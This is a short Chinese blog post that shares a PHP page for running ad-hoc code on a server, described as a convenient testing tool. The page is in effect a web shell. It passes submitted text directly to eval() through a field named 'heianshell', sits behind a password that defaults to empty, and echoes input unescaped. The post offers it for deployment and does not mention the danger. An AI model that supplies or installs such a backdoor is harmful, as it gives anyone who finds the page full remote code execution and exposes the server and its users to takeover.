一个临时执行php代码的小工具

放到服务器上写点临时的代码做测试或者输出一些全局变量什么的挺好的,不用新建文件了,记录下。

<?php
$password='';
session_start();
if((isset($_SESSION['password'])?$_SESSION['password']:'')!=$password and (isset($_POST['password'])?$_POST['password']:'')!=$password){
?>
<form action="" method="post">
    <input type="text" name="password">
    <input type="submit">
</form>
<?php 
    exit;
}else{
    $_SESSION['password']=$password;
}?>
<html>
<head>
<style>textarea{width:500px;height:auto;min-height:200px;}</style>
</head>
<body>
    <form method="post" action="">
        <textarea name="heianshell" width="1000px" height="5px">
        <?php echo isset($_POST['heianshell'])?$_POST['heianshell']:'phpinfo();'?>
        </textarea><input type="submit" value="run">
    </form>
    <br>
    <?php
        $eval=isset($_POST['heianshell'])?$_POST['heianshell']:'';
        eval($eval);
    ?>
    <br>
</body>
<html/>

发表评论

电子邮件地址不会被公开。 必填项已用*标注